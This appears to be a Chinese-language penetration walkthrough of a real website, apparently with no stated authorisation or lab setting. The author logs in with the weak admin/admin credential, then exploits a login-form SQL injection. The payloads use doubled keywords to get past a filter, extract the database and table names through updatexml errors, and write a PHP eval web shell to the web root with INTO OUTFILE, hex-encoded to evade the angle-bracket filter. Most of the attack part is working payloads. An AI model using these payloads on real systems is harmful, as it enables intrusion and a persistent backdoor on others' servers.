0x01、信息收集
拿到网站,先扫描目录,发现有后台登录界面
尝试登录,发现弱口令admin/admin成功进入后台
找到上传文件的地方准备文件上传
但是多次尝试都未能成功,就算普通图片也没法上传
0x02、sql注入
后来发现在登录界面有sql注入
经过尝试发现过滤了一些关键字
user=admin' uni union on seselectlect updatexml('1',concat('~',(seselectlect database())),'1')#&password=123&code=19ed&submit=true&submit.x=48&submit.y=23
user=admin' uni union on seselectlect updatexml('1',concat('~',(seselectlect table_name fr from om information_schema.tables wh where ere table_schema like database() limit 0,1)),'1')#&password=123&code=19ed&submit=true&submit.x=48&submit.y=23
user=admin' uni union on seselectlect 1,2,3,4,5 i into nto outoutfilefile '/var/www/html/1.php'#&password=123&code=19ed&submit=true&submit.x=48&submit.y=23
访问1.php
user=admin' uni union on seselectlect 1,<?php @eval($_REQUEST['obse']); ?>,3,4,5 i into nto outoutfilefile '/var/www/html/3.php'#&password=123&code=19ed&submit=true&submit.x=48&submit.y=23
可以看出过滤了<
>
,用16进制绕过
user=admin' uni union on seselectlect 1,0x3C3F70687020406576616C28245F524551554553545B276F627365275D293B203F3E,3,4,5 i into nto outoutfilefile '/var/www/html/shell.php'#&password=123&code=19ed&submit=true&submit.x=48&submit.y=23